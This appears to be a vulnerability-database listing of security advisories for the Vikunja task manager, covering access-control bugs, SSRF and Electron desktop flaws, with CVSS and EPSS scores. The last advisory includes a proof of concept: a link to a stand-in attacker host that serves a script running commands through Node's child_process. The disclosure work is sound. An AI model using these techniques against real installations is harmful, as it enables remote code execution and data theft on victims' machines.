Security Vulnerabilities
Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, `TaskAttachment.ReadOne()` queries attachments by ID only (`WHERE id = ?`), ignoring the task ID from the URL path. The permission check in `CanRead()` validates access to the task specified in the URL, but `ReadOne()` loads a different attachment that may belong to a task in another project. This allows any authenticated user to download or delete any attachment in the system by providing their own accessible task ID with a target attachment ID. Attachment IDs are sequential integers, making enumeration trivial. Version 2.2.1 patches the issue.
CVSS Score
8.1
EPSS Score
0.0
Published
2026-03-24
Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, the `DownloadImage` function in `pkg/utils/avatar.go` uses a bare `http.Client{}` with no SSRF protection when downloading user avatar images from the OpenID Connect `picture` claim URL. An attacker who controls their OIDC profile picture URL can force the Vikunja server to make HTTP GET requests to arbitrary internal or cloud metadata endpoints. This bypasses the SSRF protections that are correctly applied to the webhook system. Version 2.2.1 patches the issue.
CVSS Score
6.4
EPSS Score
0.0
Published
2026-03-24
Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.2, the `LinkSharing.ReadAll()` method allows link share authenticated users to list all link shares for a project, including their secret hashes. While `LinkSharing.CanRead()` correctly blocks link share users from reading individual shares via `ReadOne`, the `ReadAllWeb` handler bypasses this check by never calling `CanRead()`. An attacker with a read-only link share can retrieve hashes for write or admin link shares on the same project and authenticate with them, escalating to full admin access. Version 2.2.2 patches the issue.
CVSS Score
7.5
EPSS Score
0.0
Published
2026-03-24
Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, the `DELETE /api/v1/projects/:project/shares/:share` endpoint does not verify that the link share belongs to the project specified in the URL. An attacker with admin access to any project can delete link shares from other projects by providing their own project ID combined with the target share ID. Version 2.2.1 patches the issue.
CVSS Score
4.9
EPSS Score
0.0
Published
2026-03-24
Vikunja is an open-source self-hosted task management platform. Starting in version 0.18.0 and prior to version 2.2.1, when a user account is disabled or locked, the status check is only enforced on the local login and JWT token refresh paths. Three other authentication paths — API tokens, CalDAV basic auth, and OpenID Connect — do not verify user status, allowing disabled or locked users to continue accessing the API and syncing data. Version 2.2.1 patches the issue.
CVSS Score
8.1
EPSS Score
0.002
Published
2026-03-24
Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, the migration helper functions `DownloadFile` and `DownloadFileWithHeaders` in `pkg/modules/migration/helpers.go` make arbitrary HTTP GET requests without any SSRF protection. When a user triggers a Todoist or Trello migration, file attachment URLs from the third-party API response are passed directly to these functions, allowing an attacker to force the Vikunja server to fetch internal network resources and return the response as a downloadable task attachment. Version 2.2.1 patches the issue.
CVSS Score
6.4
EPSS Score
0.0
Published
2026-03-24
Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, when the Vikunja API returns tasks, it populates the `related_tasks` field with full task objects for all related tasks without checking whether the requesting user has read permission on those tasks' projects. An authenticated user who can read a task that has cross-project relations will receive full details (title, description, due dates, priority, percent completion, project ID, etc.) of tasks in projects they have no access to. Version 2.2.1 patches the issue.
CVSS Score
6.5
EPSS Score
0.0
Published
2026-03-24
Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the renderer process without `contextIsolation` or `sandbox`. This means any cross-site scripting (XSS) vulnerability in the Vikunja web frontend -- present or future -- automatically escalates to full remote code execution on the victim's machine, as injected scripts gain access to Node.js APIs. Version 2.2.0 fixes the issue.
CVSS Score
9.6
EPSS Score
0.001
Published
2026-03-24
Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper passes URLs from `window.open()` calls directly to `shell.openExternal()` without any validation or protocol allowlisting. An attacker who can place a link with `target="_blank"` (or that otherwise triggers `window.open`) in user-generated content can cause the victim's operating system to open arbitrary URI schemes, invoking local applications, opening local files, or triggering custom protocol handlers. Version 2.2.0 patches the issue.
CVSS Score
8.0
EPSS Score
0.0
Published
2026-03-24
Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.
## Root cause
Two misconfigurations combine to create this vulnerability:
1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.).
2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by:
- `<a href="https://...">` links (without `target="_blank"`)
- `window.location` assignments
- HTTP redirects
- `<meta http-equiv="refresh">` tags
## Attack scenario
1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).
2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `<a href="https://evil.example/exploit">Click here for the updated design spec</a>`
3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output.
4. The victim uses Vikunja Desktop and clicks the link.
5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process.
6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id > /tmp/pwned');`
7. Arbitrary commands execute as the victim's OS user.
## Impact
Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.
## Proof of concept
1. Set up a Vikunja instance with two users sharing a project.
2. As the attacker user, edit a project description to include: `<a href="https://attacker.example/poc.html">Meeting notes</a>`
3. Host poc.html with: `<script>require('child_process').exec('calc.exe')</script>`
4. As the victim, open the project in Vikunja Desktop and click the link.
5. calc.exe (or any other command) executes on the victim's machine.
## Credits
This vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).
CVSS Score
8.8
EPSS Score
0.003
Published
2026-03-24